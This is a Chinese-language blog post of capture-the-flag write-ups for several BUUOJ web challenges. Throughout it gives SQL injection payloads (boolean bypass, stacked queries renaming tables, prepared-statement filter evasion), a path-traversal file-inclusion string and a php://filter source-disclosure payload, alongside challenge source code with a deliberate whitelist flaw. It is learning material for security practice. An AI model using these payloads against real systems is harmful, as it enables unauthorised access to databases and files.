首页 > 其他分享 >BUUOJ——WEB(一)

BUUOJ——WEB(一)

时间:2023-01-17 08:55:05浏览次数:72  
标签:语句 WEB string BUUOJ flag table where select

WEB

[极客大挑战 2019]EasySQL

一道确实很简单的sql注入题目,但是折磨了我半天,猜测后台语句大概如下:

select * from usr_table where user='$username' and password='$pas'

最基本的注入语句即可解决本题:

getFlag!  //用户名:1' or '1'='1' 密码:1' or '1'='1
getFlag!  //用户名:1' or 1=1# 密码:1' or '1'='1

一些问题及尝试

不知道为什么最外部还包着一层单引号,注入回显报错时可能会出现前单后双的奇怪样子

for the right syntax to use near '123'' at line 1 //用户名:1' 密码:123 的报错回显,在回显中引号二单一双一模一样
=> select * from usr_table where user='1'' and password='123'

几组测试(any代表随便填):

for the right syntax to use near '1' or '1'='1'' at line 1  //用户名:'      密码:1' or '1'='1
=> select * from usr_table where user=''' and password='1' or '1'='1'
getFlag!                                                    //用户名:''     密码:1' or '1'='1
=> select * from usr_table where user='''' and password='1' or '1'='1'
getFlag!                                                    //用户名:"      密码:1' or '1'='1
=> select * from usr_table where user='"' and password='1' or '1'='1'

不知道 user='''' and 这一段是怎么解析语法的,两组引号间没有任何连接符,第二组也没有任何效果

getFlag!  //用户名:1' or '1'='1' or '1'='1 密码:any
=> select * from usr_table where user='1' or "1"="1" or '1'='1' and password='any'
Wrongpassword!  //用户名:1' or '1'='1 密码:123
=> select * from usr_table where user='1' or '1'='1' and password='423'

不知道为什么多加一组or就可以无视密码栏,可能跟sql语句逻辑判定的规则有关?

getFlag!  //用户名:any    密码:1' or '1'='1
=> select * from usr_table where user='any' and password='1' or '1'='1'

注入密码后用户名好像没参加判准一样,可是又有

getFlag!  //用户名:1' or 1=1# 密码:any
=> select * from usr_table where user='1'' or 1=1#' and password='any'

于是就搞不清楚了,直接试图白盒()


突然想通了:浏览器回显报错时会自添一层单引号以示引用,所以有一层单引号不是sql语句中的!

所以前面被这层单引号误导了!

for the right syntax to use near '1'='1' and password='321'' at line 1  //用户名:1" or '1'='1 密码:321
=> select * from usr_table where user='1" or '1'='1' and password='321'

所以单双引号不能相互闭合,双引号被当成普通内容


Wrongpassword!  //用户名:" 密码:123
=> select * from usr_table where user='"' and password='123'

能说明双引号应该是被当做正常内容解析了

3/15更新:

SQL中逻辑判定先判断"and"再判断"or"

getFlag!  //用户名:1' or '1'='1' or '1'='1 密码:any
=> select * from usr_table where user='1' or "1"="1" or '1'='1' and password='any'

在Select语句中,先看"and"两侧一真一假为假,再看第一个"or"一真一假为真,于是第二个"or"两侧一真一假必为真,和"and"右侧的真假性无关,所以"password"栏任意值

getFlag!  //用户名:any    密码:1' or '1'='1
=> select * from usr_table where user='any' and password='1' or '1'='1'

这里也是同理,由于先"and"再"or","or"右侧必为真,表达式的值固定,用户名一栏随便填

Wrongpassword!  //用户名:1' or '1'='1 密码:123
=> select * from usr_table where user='1' or '1'='1' and password='423'

那为什么用户栏这里就不行呢,因为"or"右侧的值是由表达式('1'='1' and password='423')决定的,password处值为假的情况下该表达式值为假,而"or"左侧的值也也为假,故此处的"or"无法锁定表达式的值


双引号会不会被当成两个单引号?(感觉不太科学,应该不会吧= =,毕竟底层编码应该不一样)

[HCTF 2018]WarmUp

F12后得到提示"source.php",访问该文件得到一份源码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //白名单
            if (! isset($page) || !is_string($page)) {  //确保非空且为字符
                echo "you can't see it";
                return false;  //不满足则一票否决
            }

            if (in_array($page, $whitelist)) {  //白名单检测一
                return true;  //不满足只是不返回TRUE
            }

            $_page = mb_substr(  //mb_substr($a,0,5)取$a变量0位置开始长度为5的子串
                $page,  
                0,
                mb_strpos($page . '?', '?')  //在$page后接了一个"?",再取"?"的位置  *
                      // mb_strpos($a,'?')返回"?"在$a中第一次出现的位置
            );
            if (in_array($_page, $whitelist)) {   //白名单检测二
                return true;
            }

            $_page = urldecode($page);  //进行URL解码并重复以上过程  **
            $_page = mb_substr(  //但是我没想到URL编码对检测能有什么影响,毕竟白名单里
                $_page,  //没有什么特殊字符
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {  //白名单检测三
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    //接下来为主程序逻辑
    if (! empty($_REQUEST['file'])  //传入非空
        && is_string($_REQUEST['file'])  //传入字符串
        && emmm::checkFile($_REQUEST['file'])  //通过check判定,也就是白名单三个过一个就行
    ) {
        include $_REQUEST['file'];  //传入file的值,进行文件包含操作 ***
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

访问"hint.php",得到提示:flag在"ffffllllaaaagggg"中

然后啊,然后等我去学一下php= =(2022-3-14)


好的,要学的其实不是php= =(2022-3-15)

观察代码,会发现首先要经过三重检测,其中check检测最为麻烦,要想办法通过白名单。这里*处是有洞的,注意到是"?"检测,可以构造?file=hint.php?...来绕过白名单检测,但是如何读取"ffffllllaaaagggg"文件呢?注意到通过检测后传入的"file"会被直接文件包含(***处),考虑到前面必须绕过白名单不能修改,可以考虑利用目录穿越访问文件"ffffllllaaaagggg"。构造如下?file=hint.php?/../ffffllllaaaagggg,则"hint.php?"会被当做目录处理,然后试探"ffffllllaaaagggg"的位置即可

**处的URL解码确实挺迷的,能过的payload不URL编码也能过,不能过的payload,URL编码后了还是能过,所以貌似只是出题人增加做题者的容错的。不过好像被传入后台的时候payload已经经过一次URL解码了,所以这里算是二次解码

参考:[

目录穿越/遍历漏洞 -- 学习笔记,

WP-1ance,

]

[极客大挑战 2019]Havefun-一起来撸猫~

F12查看源码,发现真有源码= =

$cat=$_GET['cat'];
   echo $cat;
   if($cat=='dog'){
      echo 'Syc{cat_cat_cat_cat}';
   }

用GET方法传入cat的值为dog即可得到flag

http://84ff6c98-583b-4e19-bdb6-749aff47ea71.node4.buuoj.cn:81?cat=dog

[ACTF2020 新生赛]Include

网页没什么提示,看题目猜测为文件包含漏洞,然后啊,然后就啥也不知道了= =,查资料罢

简单来说就是源码中有flag但被注释掉了,网页返回源码时我们看不到,所以需要利用php的filter协议对网页返回内容进行base64编码,破坏注释效果,再将其解码即可得到完整源码,从而得到flag。payload:?file=php://filter/convert.base64-encode/resource=flag.php

原理?看参考,参考最详细了~

参考:[

谈一谈php://filter的妙用

php://filter技术分享

[ACTF2020 新生赛]Include 1

]

[强网杯 2019]随便注

Exp

'  		#输入

near ''''' at line 1 		#输出

输入内容包着一层单引号

1		#输入

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}		#输出
1' or 1=1#		#输入
=>
array(2) {  #一个array是一行
  [0]=>		#一个键是一列字段
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}		#输出
1'	-- 	#输入
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}		#输出->说明并非注释的功劳
1' or '1'='1		#输入
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}		#输出->好怪哦,多一个真判定就会多出两条内容 ->问题有待解决	<?-1
1' or 1=1 order by 3#		#输入
Unknown column '3' in 'order clause'		#输出->只有两列
1'  union select 1			#输入
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);			#输出->正则过滤,"\."表示"."

好了没思路,求助百度罢= =

WP

整体思路:先利用堆叠注入查询出数据库的库名、表名、表结构,从而判断出"flag"表"1919810931114514"中,而查询语句查询的是表"words",也就是后台语句应该为:

select * from words where id = @inject
-- 差不多是这个意思吧= =

要获取"1919810931114514"表中的flag有两条思路:

  1. 由于"select"遭到过滤,读取语句被固定死只能查询"words"表的"id"段的条件,所以可以重命名表"1919810931114514"为"words"(当然你得先把 "words"重命名为别的):

    rename table words to othername;rename table `1919810931114514` to words;
    

    这里反引号有一个在Windows系统下才生效的细则:包裹库名、表名、索引、列名和别名必须用反引号,单双引号无效(这里是因为表名为数字,会导致数据类型混淆,才需要包裹)

    再将字段"flag"重命名为"id":

    alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
    

    再用常规注入读取表内的所有记录即可:

    1' or 1=1#   //输入表单中
    
  2. 用预处理语句、concat()函数绕过过滤,该函数可用于连接字符串:

    concat("s","elect")  -- 结果为select
    

    构造预处理语句:

    SET @ext=concat(char(115,101,108,101,99,116),' * from `1919810931114514`');
    -- 这里利用了"select"ASCLL码转字符的方式绕过过滤,同时设置了一个ext变量用于PREPARE,但其实有没有都行 
    PREPARE attack from @ext;  -- 向预执行语句"attack"传入ext的值
    EXECUTE attack; -- 执行语句
    

各自构造出合适的payload即可得到flag

遗留问题:

  1. <?-1:尚未解决

    猜想:也许是语句

    SELECT * FROM words WHERE id='1' or 1=1#'
    

    中的or 1=1覆盖了where id='1'的作用使得语句变成了

    SELECT * FROM words WHERE 1=1
    

    也就是说or起到了取并集的作用(当然也有判真假的作用)

参考:[

myseries-SQL注入

YT--98-三种数据库的 SQL 注入详解

ZM思-WP

]

[SUCTF 2019]EasySQL 1

Exp

  1. 它让我猜flag那我就猜:

    flag{123}
    ->
    Nonono.
    

    显然是没猜对

  2. 尝试基本注入:

    '
    ->
    
    

    莫得反应

  3. 1 //2,3,4,5等数字都是一样的
    Array ( [0] => 1 )
    
  4. 1;show databases;#
    ->
    Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
    

    堆叠注入有效,那就继续查询表名

    1;show tables;#
    ->
    Array ( [0] => 1 ) Array ( [0] => Flag )
    

    尝试改名

    1;rename table `1` to one;show tables;#
    ->
    Array ( [0] => 1 )
    

    发现没有用,那就无法用改名的方式绕过了

  5. 猜测语句为:

    SELECT * from flag where id = @query and $query=flag
    

没法子了,求助百度罢

WP

  1. 查阅资料后发现堆叠注入其实是有效的,纯属是我太菜了打错语法了...

    源码中可以看到"payload"被放在"query"中以"POST"方式提交

    回显"Nonono"原来是被过滤的意思?那"rename"为什么没用?

  2. "GTX690M"的WP中的后台语句感觉有些不懂:

    sql="select".sql="select".post['query']."||flag from Flag";
    

    这里连接莫得空格,而且两个"select"能与两个赋值语句能拼出个啥?假设query=1,那得到的语句应该是:

    select 1||flag from Flag
    

    所以得到的后台源码其实是:

    select $_POST['query'] || flag from Flag
    
  3. 如果query=2

    select 2 || flag from Flag
    ->
    Array ( [0] => 1 )
    

    为什么值还是1? <?-1

  4. 那么采用解法一的payload得到的语句应该如下:

    *,1
    =>  #后跟完整语句
    select *,1 || flag from Flag
    ->  #后跟结果
    Array ( [0] => flag{34abae4e-1d69-4e63-95dd-0834d1800354} [1] => 1 )
    

    很合理

  5. 采用解法二的payload拼接得到:

    1;set sql_mode=pipes_as_concat;select 1
    =>
    select 1;set sql_mode=pipes_as_concat;select 1 || flag from Flag
    ->
    Array ( [0] => 1 ) Array ( [0] => 1flag{34abae4e-1d69-4e63-95dd-0834d1800354} )
    

    两个array代表两行结果,为什么比解法一多出一行结果? <?-2

  6. 利用廖雪峰大佬的在线SQL测试了一下:

    1. 两个SELECT语句只显示后执行的

    2. 拼接后得到的结果并不会增加行数

    3. SELECT 2的结果如下:

      与实际效果有出入

    4. 纠正一下:该在线SQL的||默认就是连接符的作用,逻辑或只能直接用or0 or name的效果

      还是很怪,如果是这样的那为什么输入0得不到flag?<?-3 -> 说明"flag"字段无法直接回显,只能通过拼接等特殊方式回显。反过来说,这里的逻辑或运行到右侧是基本没有结果的,所以才会想到payload:*,1

    5. 测试语句SELECT *,1 or name FROM students;

      一目了然,,把或运算符归并到了右侧并接在了全表的后面

总结:

后台语句:

select $post['query']||flag from Flag

将输入的内容"query"与无法直接回显的字段"flag"用或连接

办法一:绕过坑人的||,构造自己的select语句解决

select *,1||flag from flag

办法二:利用||,想办法让Select 1||flag输出我们想要的结果

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from flag

但是如何判断出后台语句的结构还不是很懂 <?-4

遗留的问题

  • <?-(1-3)都没找到明确的答案,但其实意义不大

  • <?-4:不是很明确。

    但输入"0或字母"和"非0数字"的不同回显确实与||特性有关

参考:[

GTX690M-WP

]

标签:语句,WEB,string,BUUOJ,flag,table,where,select
From: https://www.cnblogs.com/Forest-set-you/p/16009147.html

相关文章

  • webpack的基本使用
                                                         ......
  • Jmeter学习:采样器--http 请求采样器/Websocket 采样器/dubug 采样器
    一、http请求采样器功能:通过该组件,我们可以进行Http采样 Basic常用参数已经在截图上。GET请求可将参数填写在Parameters中。参数:FollowRedirescts和Rediect......
  • 欢迎使用 MWeb
    MWeb是专业的Markdown写作、记笔记、静态博客生成软件,目前已支持Mac,iPad和iPhone。MWeb有以下特色:软件本身:使用原生的macOS技术打造,追求与系统的完美结合。原......
  • 【Javaweb】给tomcat添加第三方jar包
    就是复制到lib文件夹里面之后点击jar包右键 选择modulelibrary,点击ok就可以了 ......
  • 深信服AF设置web登录管理后台
    目的:因安全性考虑设置只有某个ip段访问AF后台1、网络---接口/区域---区域---LAN2、LAN区域---三层区域---WEBUI--允许管理此设备的IP---选择网络对象---添加ip或ip段3、测试......
  • 【Javaweb】动态web工程目录介绍
    src存放自己编写的Java源代码web专门用来存放web工程的资源文件(html页面、css文件、js文件等等)WEB-INF是一个受服务器保护的目录,浏览器无法直接访问此目录的内容web.......
  • WebServerz支持Http post get
       <webServices><protocols><addname="HttpPost"/><addname="Documentation"/><addname="HttpSoap"/><addnam......
  • 【Javaweb】tomcat目录介绍
    bin专门用来存放tomcat服务器的可执行程序conf专门用来存放tomcat服务器的配置文件lib专门用来存放tomcat服务器的jar包logs专门用来存放tomcat服务器运行时输出的......
  • 移动Web开发(一)
    移动Web1字体图标1.1字体图标的优点:灵活性:灵活地修改样式,例如:尺寸、颜色等轻量级:体积小、渲染快、降低服务器请求次数兼容性:几乎兼容所有主流浏览器2平面转换t......
  • nginx升级连接为websocket
    利用nginx代理wss【通讯原理及流程】wss协议实际是websocket+SSL,就是在websocket协议上加入SSL层,类似https(http+SSL)。客户端发起wss连接连到nginxnginx将wss协议的数......